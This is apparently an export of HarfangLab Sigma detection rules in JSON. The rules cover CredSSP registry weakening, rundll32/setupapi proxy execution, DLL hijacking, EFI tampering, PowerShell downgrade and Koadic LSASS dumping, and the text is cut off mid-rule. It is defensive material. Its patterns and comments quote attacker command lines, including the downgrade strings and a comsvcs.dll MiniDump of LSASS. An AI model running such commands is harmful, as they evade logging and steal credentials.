+  "content": "title: CredSSP's AllowEncryptionOracle Vulnerable Value Set via Registry\nid: cbdf5218-c8ec-48e6-b58f-9066c7358ec2\ndescription: |\n    Detects when CredSSP's AllowEncryptionOracle configuration is changed to a vulnerable value.\n    Adversaries may change AllowEncryptionOracle to the vulnerable value (2) in order to make the server vulnerable to remote code execution.\n    It is recommended to investigate this action to determine its legitimacy and to investigate any suspicious authentications.\nreferences:\n    - https://support.microsoft.com/en-au/topic/credssp-updates-for-cve-2018-0886-5cbf9e5f-dc6d-744f-9e97-7ba400d6d3ea\n    - https://github.com/preempt/credssp\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2024/04/02\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\\AllowEncryptionOracle'\n        Details: 'DWORD (0x00000002)'\n        ProcessParentImage|contains: '?'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_siemens:\n        ProcessImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'TSplus SAS'\n\n    exclusion_sccm:\n        ProcessParentCommandLine|startswith: '?:\\Windows\\System32\\cmd.exe /c ?:\\Windows\\ccmcache\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cbdf5218-c8ec-48e6-b58f-9066c7358ec2",
+  "rule_name": "CredSSP's AllowEncryptionOracle Vulnerable Value Set via Registry",
+  "rule_description": "Detects when CredSSP's AllowEncryptionOracle configuration is changed to a vulnerable value.\nAdversaries may change AllowEncryptionOracle to the vulnerable value (2) in order to make the server vulnerable to remote code execution.\nIt is recommended to investigate this action to determine its legitimacy and to investigate any suspicious authentications.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cbe5f82c-82e6-4a59-abdd-f95838d021f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069323Z",
+  "creation_date": "2026-03-23T11:45:34.069325Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069330Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_rundll32_setupapi.yml",
+  "content": "title: Proxy Execution via Setupapi.dll\nid: cbe5f82c-82e6-4a59-abdd-f95838d021f6\ndescription: |\n    Detects a suspicious invocation of `setupapi.dll` by `rundll32.exe`.\n    Adversaries may abuse `rundll32.exe` to proxy execution of malicious code. Using `rundll32.exe`, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the `rundll32.exe` process because of allowlists or false positives from normal operations.\n    It is recommended to investigate the parent process for suspicious activities as well as other malicious actions stemming from the rundll32 process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Setupapi/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/12/02\nmodified: 2025/05/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Setupapi\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\shady.inf\n    selection_1:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n    selection_2:\n        CommandLine|contains|all:\n            - ' setupapi'\n            - 'DefaultInstall'\n    selection_3:\n        CommandLine|contains:\n            - 'InstallHinfSection'\n            - '#238' # InstallHinfSection\n            - '#239' # InstallHinfSectionA\n            - '#240' # InstallHinfSectionW\n\n    exclusion_nvidia:\n        CommandLine|endswith: '\\NVIDIA\\3DVision\\NVSTEREO.INF'\n\n    exclusion_reasonlabs:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 ?:\\Program Files\\ReasonLabs\\EPP\\x64\\rsKernelEngine.inf'\n            - '?:\\WINDOWS\\system32\\rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 ?:\\Program Files\\ReasonLabs\\DNS\\rsDwf.inf'\n\n    exclusion_msi1:\n        CommandLine|contains: 'rundll32.exe SetupApi.dll,InstallHinfSection DefaultInstall ??? ?:\\Program Files\\\\*.inf'\n        ParentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n    exclusion_msi2:\n        CommandLine|contains: 'rundll32.exe SetupApi.dll,InstallHinfSection DefaultInstall ??? ?:\\Program Files\\\\*.inf'\n        GrandparentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_images:\n        - ParentImage:\n            - '?:\\Program Files\\LatencyMon\\LatMon.exe'\n            - '?:\\Program Files (x86)\\Security Eye\\xvid.exe'\n            - '?:\\Program Files (x86)\\Fluoplate\\dcom95.exe'\n            - '?:\\Program Files (x86)\\eGambit\\das\\dasc.exe'\n            - '?:\\Program Files (x86)\\Perfect IP Camera Viewer\\xvid.exe'\n            - '?:\\Program Files\\Sonix\\SNFilterDriver\\DriverInstall.exe'\n        - GrandparentImage:\n            - '?:\\Program Files (x86)\\Cato Networks\\Cato Client\\winvpnclient.cli.exe'\n            - '?:\\Program Files\\Android\\Android Studio\\bin\\studio64.exe'\n\n    exclusion_revo:\n        CommandLine:\n            - 'rundll32.exe  SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 ?:\\Program Files\\VS Revo Group\\Revo Uninstaller Pro\\revoflt.inf'\n            - 'rundll32.exe  SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 ?:\\Program Files\\VS Revo Group\\Revo Uninstaller\\RevoProcessDetector.inf'\n\n    exclusion_idm:\n        CommandLine: '?:\\WINDOWS\\Sysnative\\RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 ?:\\Program Files (x86)\\Internet Download Manager\\idmwfp.inf'\n\n    exclusion_rsdk:\n        CommandLine|contains:\n            - 'rundll32.exe setupapi,InstallHinfSection DefaultInstall.nt 0 ?:\\WINDOWS\\TEMP\\RSDK_Setup\\RSDK-SpeexACM??.inf'\n            - 'rundll32.exe setupapi,InstallHinfSection DefaultInstall.nt 0 ?:\\WINDOWS\\SystemTemp\\RSDK_Setup\\RSDK-SpeexACM??.inf'\n            - 'rundll32.exe setupapi,InstallHinfSection DefaultInstall.nt 0 ?:\\Users\\\\*\\AppData\\Local\\Temp\\RSDK_Setup\\RSDK-SpeexACM??.inf'\n        CurrentDirectory:\n            - '?:\\WINDOWS\\TEMP\\RSDK_Setup\\'\n            - '?:\\WINDOWS\\SystemTemp\\RSDK_Setup\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\RSDK_Setup\\'\n\n    exclusion_wireshark:\n        CommandLine: '?:\\WINDOWS\\system32\\RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 .\\USBPcap.inf'\n        CurrentDirectory: '?:\\Program Files\\USBPcap\\'\n\n    exclusion_ndi:\n        CommandLine: '?:\\WINDOWS\\system32\\rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\\Codec.SpeedHQ.x??.inf'\n        CurrentDirectory: '?:\\Program Files\\NDI\\NDI ? Tools\\Codec\\'\n\n    exclusion_configtool:\n        CommandLine: 'RUNDLL32 SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 ?:\\Users\\\\*\\AppData\\Local\\Temp\\TmpInf.inf'\n        CurrentDirectory: '?:\\Program Files (x86)\\ConfigTool\\ConfigTool\\'\n\n    exclusion_bridge:\n        CommandLine: 'rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 ?:\\Program Files (x86)\\Bridge Master 2000\\\\*.inf'\n\n    exclusion_xvid:\n        CommandLine: '?:\\Windows\\System32\\rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 0 ?:\\Users\\\\*\\AppData\\Local\\Temp/xvid_x??/xvid.inf'\n\n    exclusion_android-studio:\n        CommandLine: 'RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 .\\aehd.Inf'\n        GrandparentImage|endswith: '\\bin\\studio64.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cbe5f82c-82e6-4a59-abdd-f95838d021f6",
+  "rule_name": "Proxy Execution via Setupapi.dll",
+  "rule_description": "Detects a suspicious invocation of `setupapi.dll` by `rundll32.exe`.\nAdversaries may abuse `rundll32.exe` to proxy execution of malicious code. Using `rundll32.exe`, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the `rundll32.exe` process because of allowlists or false positives from normal operations.\nIt is recommended to investigate the parent process for suspicious activities as well as other malicious actions stemming from the rundll32 process.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-05-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cc33067b-47b1-40ff-b66f-60ab71a97745",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592407Z",
+  "creation_date": "2026-03-23T11:45:34.592411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592418Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vdsldr.yml",
+  "content": "title: DLL Hijacking via vdsldr.exe\nid: cc33067b-47b1-40ff-b66f-60ab71a97745\ndescription: |\n    Detects potential Windows DLL Hijacking via vdsldr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vdsldr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\bcd.dll'\n            - '\\vdsutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cc33067b-47b1-40ff-b66f-60ab71a97745",
+  "rule_name": "DLL Hijacking via vdsldr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vdsldr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cc7bc0a7-a4e9-4f23-b8a4-772b7b15b6eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071411Z",
+  "creation_date": "2026-03-23T11:45:34.071414Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071418Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/glupteba-malware-uefi-bootkit/",
+    "https://attack.mitre.org/techniques/T1542/001/"
+  ],
+  "name": "t1542_001_boot_efi_file_change.yml",
+  "content": "title: Suspicious EFI File Modification\nid: cc7bc0a7-a4e9-4f23-b8a4-772b7b15b6eb\ndescription: |\n    Detects the suspicious renaming or writing of EFI boot-related files.\n    Adversaries may tamper with the Windows EFI boot files in order to disable built-in security features at boot or for persistence purposes.\n    It is recommended to analyze the behavior of the process responsible for the filesystem event.\nreferences:\n    - https://unit42.paloaltonetworks.com/glupteba-malware-uefi-bootkit/\n    - https://attack.mitre.org/techniques/T1542/001/\ndate: 2024/02/19\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1542.001\n    - attack.t1014\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection_event:\n        Kind:\n            - 'write'\n            - 'rename'\n    selection_path:\n        - Path:\n            - 'A:\\EFI\\Microsoft\\Boot\\bootmgfw.efi'\n            - 'B:\\EFI\\Microsoft\\Boot\\bootmgfw.efi'\n            - 'A:\\EFI\\Boot\\bootx64.efi'\n            - 'B:\\EFI\\Boot\\bootx64.efi'\n        - TargetPath:\n            - 'A:\\EFI\\Microsoft\\Boot\\bootmgfw.efi'\n            - 'B:\\EFI\\Microsoft\\Boot\\bootmgfw.efi'\n            - 'A:\\EFI\\Boot\\bootx64.efi'\n            - 'B:\\EFI\\Boot\\bootx64.efi'\n\n    exclusion_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_minint:\n        - ProcessParentImage:\n            - '?:\\MININT\\Tools\\X64\\TsmBootstrap.exe'\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n        - ProcessGrandparentImage:\n            - '?:\\MININT\\Tools\\X64\\TsmBootstrap.exe'\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_rufus:\n        ProcessName: 'rufus*.exe'\n        ProcessDescription: 'Rufus'\n        ProcessSignature : 'Akeo Consulting'\n        ProcessSigned: 'true'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n        ProcessSignature : 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    exclusion_createmedia:\n        ProcessName: 'CreateMedia.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_setuphost:\n        ProcessName: 'SetupHost.exe'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_bcdboot:\n        ProcessImage: '?:\\Windows\\System32\\bcdboot.exe'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_recoverydrive:\n        Image: '?:\\Windows\\System32\\RecoveryDrive.exe'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_7z:\n        ProcessCompany: 'Igor Pavlov'\n        ProcessDescription:\n            - '7-Zip Console'\n            - '7-Zip GUI'\n            - '7-Zip File Manager'\n\n    exclusion_tiworker:\n        Image: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cc7bc0a7-a4e9-4f23-b8a4-772b7b15b6eb",
+  "rule_name": "Suspicious EFI File Modification",
+  "rule_description": "Detects the suspicious renaming or writing of EFI boot-related files.\nAdversaries may tamper with the Windows EFI boot files in order to disable built-in security features at boot or for persistence purposes.\nIt is recommended to analyze the behavior of the process responsible for the filesystem event.\n",
+  "rule_creation_date": "2024-02-19",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014",
+    "attack.t1542.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cccb59b8-ff73-4c88-a42b-b858a14aea80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296250Z",
+  "creation_date": "2026-03-23T11:45:35.296253Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296260Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gist.github.com/D3Ext/bf57673644ba08e729f65892e0dae6c4#powershell-downgrade",
+    "https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/master?tab=readme-ov-file#Using-PowerShell-version-2",
+    "https://attack.mitre.org/techniques/T1562/010/"
+  ],
+  "name": "t1562_010_powershell_version_downgrade.yml",
+  "content": "title: Downgraded PowerShell Executed\nid: cccb59b8-ff73-4c88-a42b-b858a14aea80\ndescription: |\n    Detects PowerShell being executed in a version that does not support the Windows Anti-Malware Scanning Interface (AMSI) or event logging.\n    Adversaries can downgrade PowerShell to a version that does not support AMSI or event logging to evade detection.\n    It is recommended to examine the parent process as well as the PowerShell commands executed by the detected process to determine wether this action was legitimate.\nreferences:\n    - https://gist.github.com/D3Ext/bf57673644ba08e729f65892e0dae6c4#powershell-downgrade\n    - https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/master?tab=readme-ov-file#Using-PowerShell-version-2\n    - https://attack.mitre.org/techniques/T1562/010/\ndate: 2025/10/06\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.010\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'powershell.exe'\n        CommandLine|contains:\n            - 'powershell.exe -version 2'\n            - 'powershell.exe -versio 2'\n            - 'powershell.exe -versi 2'\n            - 'powershell.exe -vers 2'\n            - 'powershell.exe -ver 2'\n            - 'powershell.exe -ve 2'\n            - 'powershell.exe -v 2'\n            - 'powershell -version 2'\n            - 'powershell -versio 2'\n            - 'powershell -versi 2'\n            - 'powershell -vers 2'\n            - 'powershell -ver 2'\n            - 'powershell -ve 2'\n            - 'powershell -v 2'\n\n    exclusion_scripts:\n        CommandLine|contains:\n            - 'NonInteractive'\n            - '.ps1'\n\n    exclusion_jetbrains:\n        Ancestors|contains:\n            - '?:\\Program Files\\JetBrains\\IntelliJ IDEA *\\bin\\idea64.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\JetBrains\\IntelliJ IDEA *\\bin\\idea64.exe'\n\n    exclusion_jadx:\n        Ancestors|contains:\n            - '\\jadx-*\\jre\\bin\\javaw.exe|'\n            - '\\Jadx Gui\\jadx-gui-*.exe|'\n\n    exclusion_zabix:\n        Ancestors|contains: '|?:\\Program Files\\zabbix_agent\\'\n\n    exclusion_imagej:\n        ParentImage|endswith: '\\Fiji.app\\ImageJ-win64.exe'\n\n    exclusion_eclipse:\n        ParentImage: '?:\\Program Files\\Eclipse Adoptium\\jdk-*-hotspot\\bin\\java.exe'\n\n    exclusion_fiji:\n        ParentImage|endswith: '\\fiji-windows-x64.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cccb59b8-ff73-4c88-a42b-b858a14aea80",
+  "rule_name": "Downgraded PowerShell Executed",
+  "rule_description": "Detects PowerShell being executed in a version that does not support the Windows Anti-Malware Scanning Interface (AMSI) or event logging.\nAdversaries can downgrade PowerShell to a version that does not support AMSI or event logging to evade detection.\nIt is recommended to examine the parent process as well as the PowerShell commands executed by the detected process to determine wether this action was legitimate.\n",
+  "rule_creation_date": "2025-10-06",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cce237f3-db0e-4f5e-90da-54d4d93e8f20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091151Z",
+  "creation_date": "2026-03-23T11:45:34.091154Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091158Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic",
+    "https://attack.mitre.org/techniques/T1003/001/",
+    "https://attack.mitre.org/software/S0250/"
+  ],
+  "name": "t1003_001_koadic_lsass_dump.yml",
+  "content": "title: LSASS Dumped via Koadic\nid: cce237f3-db0e-4f5e-90da-54d4d93e8f20\ndescription: |\n    Detects an attemps to dump the LSASS (Local Security Authority Subsystem Service) process memory via the Koadic HackTool.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct lateral movement.\n    It is recommended to analyze the process and user session responsible for this execution to look for malicious content or actions.\nreferences:\n    - https://github.com/offsecginger/koadic\n    - https://attack.mitre.org/techniques/T1003/001/\n    - https://attack.mitre.org/software/S0250/\ndate: 2021/02/18\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - attack.s0250\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Koadic\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 672 